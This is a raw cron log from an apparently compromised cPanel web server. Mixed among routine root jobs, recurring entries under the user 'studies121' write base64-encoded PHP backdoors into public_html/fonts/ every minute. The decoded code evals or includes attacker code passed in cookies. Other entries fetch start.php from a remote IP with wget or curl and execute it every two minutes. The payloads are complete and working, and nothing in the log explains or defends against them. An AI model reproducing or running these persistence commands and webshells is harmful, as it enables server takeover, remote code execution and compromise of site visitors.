Sep 20 22:49:01 ip-184-168-122-23 CROND[20910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:49:01 ip-184-168-122-23 CROND[20912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:49:01 ip-184-168-122-23 CROND[20913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:49:01 ip-184-168-122-23 CROND[20911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:50:01 ip-184-168-122-23 CROND[21057]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 22:50:01 ip-184-168-122-23 CROND[21059]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:50:01 ip-184-168-122-23 CROND[21062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 22:50:01 ip-184-168-122-23 CROND[21063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:50:01 ip-184-168-122-23 CROND[21067]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 22:50:01 ip-184-168-122-23 CROND[21064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:50:01 ip-184-168-122-23 CROND[21065]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 22:50:01 ip-184-168-122-23 CROND[21066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:50:01 ip-184-168-122-23 CROND[21069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:51:01 ip-184-168-122-23 CROND[21202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:51:01 ip-184-168-122-23 CROND[21203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:51:01 ip-184-168-122-23 CROND[21205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:51:01 ip-184-168-122-23 CROND[21204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:52:01 ip-184-168-122-23 CROND[21293]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:52:01 ip-184-168-122-23 CROND[21296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:52:01 ip-184-168-122-23 CROND[21295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:52:01 ip-184-168-122-23 CROND[21297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:52:01 ip-184-168-122-23 CROND[21298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:53:01 ip-184-168-122-23 CROND[21396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:53:01 ip-184-168-122-23 CROND[21397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:53:01 ip-184-168-122-23 CROND[21399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:53:01 ip-184-168-122-23 CROND[21398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:54:01 ip-184-168-122-23 CROND[21479]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:54:01 ip-184-168-122-23 CROND[21478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:54:01 ip-184-168-122-23 CROND[21480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:54:01 ip-184-168-122-23 CROND[21481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:54:01 ip-184-168-122-23 CROND[21482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:55:01 ip-184-168-122-23 CROND[21584]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 22:55:01 ip-184-168-122-23 CROND[21587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:55:01 ip-184-168-122-23 CROND[21586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:55:01 ip-184-168-122-23 CROND[21588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:55:01 ip-184-168-122-23 CROND[21589]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 22:55:01 ip-184-168-122-23 CROND[21590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:56:01 ip-184-168-122-23 CROND[21744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:56:01 ip-184-168-122-23 CROND[21746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:56:01 ip-184-168-122-23 CROND[21747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:56:01 ip-184-168-122-23 CROND[21748]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:56:01 ip-184-168-122-23 CROND[21749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:57:01 ip-184-168-122-23 CROND[21941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:57:01 ip-184-168-122-23 CROND[21943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:57:01 ip-184-168-122-23 CROND[21944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:57:01 ip-184-168-122-23 CROND[21945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:58:01 ip-184-168-122-23 CROND[22045]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:58:01 ip-184-168-122-23 CROND[22049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:58:01 ip-184-168-122-23 CROND[22047]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:58:01 ip-184-168-122-23 CROND[22048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:58:01 ip-184-168-122-23 CROND[22050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:59:01 ip-184-168-122-23 CROND[22142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:59:01 ip-184-168-122-23 CROND[22144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:59:01 ip-184-168-122-23 CROND[22146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:59:01 ip-184-168-122-23 CROND[22145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:00:01 ip-184-168-122-23 CROND[22235]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 23:00:01 ip-184-168-122-23 CROND[22236]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:00:01 ip-184-168-122-23 CROND[22239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:00:01 ip-184-168-122-23 CROND[22241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:00:01 ip-184-168-122-23 CROND[22244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:00:01 ip-184-168-122-23 CROND[22245]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 23:00:01 ip-184-168-122-23 CROND[22248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:00:01 ip-184-168-122-23 CROND[22246]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 23:01:01 ip-184-168-122-23 CROND[22336]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22336]: starting 0anacron
Sep 20 23:01:01 ip-184-168-122-23 CROND[22342]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
